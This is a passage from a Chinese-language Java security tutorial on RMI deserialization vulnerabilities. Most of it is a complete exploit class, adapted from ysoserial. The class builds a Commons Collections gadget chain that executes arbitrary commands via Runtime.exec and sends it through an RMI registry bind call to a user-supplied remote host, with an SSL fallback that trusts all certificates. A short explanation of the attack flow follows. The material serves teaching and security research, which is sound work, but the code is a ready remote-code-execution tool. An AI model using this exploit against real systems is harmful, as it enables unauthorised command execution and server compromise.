RMI通信中所有的对象都是通过Java序列化传输的,在学习Java序列化机制的时候我们讲到只要有Java对象反序列化操作就有可能有漏洞。
既然RMI使用了反序列化机制来传输Remote对象,那么可以通过构建一个恶意的Remote对象,这个对象经过序列化后传输到服务器端,服务器端在反序列化时候就会触发反序列化漏洞。
首先我们依旧使用上述com.anbai.sec.rmi.RMIServerTest的代码,创建一个RMI服务,然后我们来构建一个恶意的Remote对象并通过bind请求发送给服务端。
RMI客户端反序列化攻击示例代码:
package com.anbai.sec.rmi;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import javax.net.ssl.SSLContext;import javax.net.ssl.SSLSocketFactory;import javax.net.ssl.TrustManager;import javax.net.ssl.X509TrustManager;import java.io.IOException;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.net.Socket;import java.rmi.ConnectIOException;import java.rmi.Remote;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.RMIClientSocketFactory;import java.security.cert.X509Certificate;import java.util.HashMap;import java.util.Map;import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;/*** RMI反序列化漏洞利用,修改自ysoserial的RMIRegistryExploit:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/RMIRegistryExploit.java** @author yz*/public class RMIExploit {// 定义AnnotationInvocationHandler类常量public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";/*** 信任SSL证书*/private static class TrustAllSSL implements X509TrustManager {private static final X509Certificate[] ANY_CA = {};public X509Certificate[] getAcceptedIssuers() {return ANY_CA;}public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }}/*** 创建支持SSL的RMI客户端*/private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {public Socket createSocket(String host, int port) throws IOException {try {// 获取SSLContext对象SSLContext ctx = SSLContext.getInstance("TLS");// 默认信任服务器端SSLctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);// 获取SSL Socket连接工厂SSLSocketFactory factory = ctx.getSocketFactory();// 创建SSL连接return factory.createSocket(host, port);} catch (Exception e) {throw new IOException(e);}}}/*** 使用动态代理生成基于InvokerTransformer/LazyMap的Payload** @param command 定义需要执行的CMD* @return Payload* @throws Exception 生成Payload异常*/private static InvocationHandler genPayload(String command) throws Exception {// 创建Runtime.getRuntime.exec(cmd)调用链Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})};// 创建ChainedTransformer调用链对象Transformer transformerChain = new ChainedTransformer(transformers);// 使用LazyMap创建一个含有恶意调用链的Transformer类的Map对象final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);// 获取AnnotationInvocationHandler类对象Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);// 获取AnnotationInvocationHandler类的构造方法Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);// 设置构造方法的访问权限constructor.setAccessible(true);// 实例化AnnotationInvocationHandler,// 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, lazyMap);InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);// 使用动态代理创建出Map类型的Payloadfinal Map mapProxy2 = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annHandler);// 实例化AnnotationInvocationHandler,// 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, mapProxy2);return (InvocationHandler) constructor.newInstance(Override.class, mapProxy2);}/*** 执行Payload** @param registry RMI Registry* @param command 需要执行的命令* @throws Exception Payload执行异常*/public static void exploit(final Registry registry, final String command) throws Exception {// 生成Payload动态代理对象Object payload = genPayload(command);String name = "test" + System.nanoTime();// 创建一个含有Payload的恶意mapMap<String, Object> map = new HashMap();map.put(name, payload);// 获取AnnotationInvocationHandler类对象Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);// 获取AnnotationInvocationHandler类的构造方法Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);// 设置构造方法的访问权限constructor.setAccessible(true);// 实例化AnnotationInvocationHandler,// 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, map);InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, map);// 使用动态代理创建出Remote类型的PayloadRemote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, annHandler);try {// 发送Payloadregistry.bind(name, remote);} catch (Throwable e) {e.printStackTrace();}}public static void main(String[] args) throws Exception {if (args.length == 0) {// 如果不指定连接参数默认连接本地RMI服务args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};}// 远程RMI服务IPfinal String host = args[0];// 远程RMI服务端口final int port = Integer.parseInt(args[1]);// 需要执行的系统命令final String command = args[2];// 获取远程Registry对象的引用Registry registry = LocateRegistry.getRegistry(host, port);try {// 获取RMI服务注册列表(主要是为了测试RMI连接是否正常)String[] regs = registry.list();for (String reg : regs) {System.out.println("RMI:" + reg);}} catch (ConnectIOException ex) {// 如果连接异常尝试使用SSL建立SSL连接,忽略证书信任错误,默认信任SSL证书registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());}// 执行payloadexploit(registry, command);}}
程序执行后将会在RMI服务端弹出计算器(仅Mac系统,Windows自行修改命令为calc),RMIExploit程序执行的流程大致如下:
- 使用
LocateRegistry.getRegistry(host, port)创建一个RemoteStub对象。 - 构建一个适用于
Apache Commons Collections的恶意反序列化对象(使用的是LazyMap+AnnotationInvocationHandler组合方式)。 - 使用
RemoteStub调用RMI服务端的bind指令,并传入一个使用动态代理创建出来的Remote类型的恶意AnnotationInvocationHandler对象到RMI服务端。 RMI服务端接受到bind请求后会反序列化我们构建的恶意Remote对象从而触发Apache Commons Collections漏洞的RCE。
RMI客户端端bind序列化:
上图可以看到我们构建的恶意Remote对象会通过RemoteCall序列化然后通过RemoteRef发送到远程的RMI服务端。
RMI服务端bind反序列化:
**
具体的实现代码在:sun.rmi.registry.RegistryImpl_Skel类的dispatch方法,其中的$param_Remote_2就是我们RMIExploit传入的恶意Remote的序列化对象。
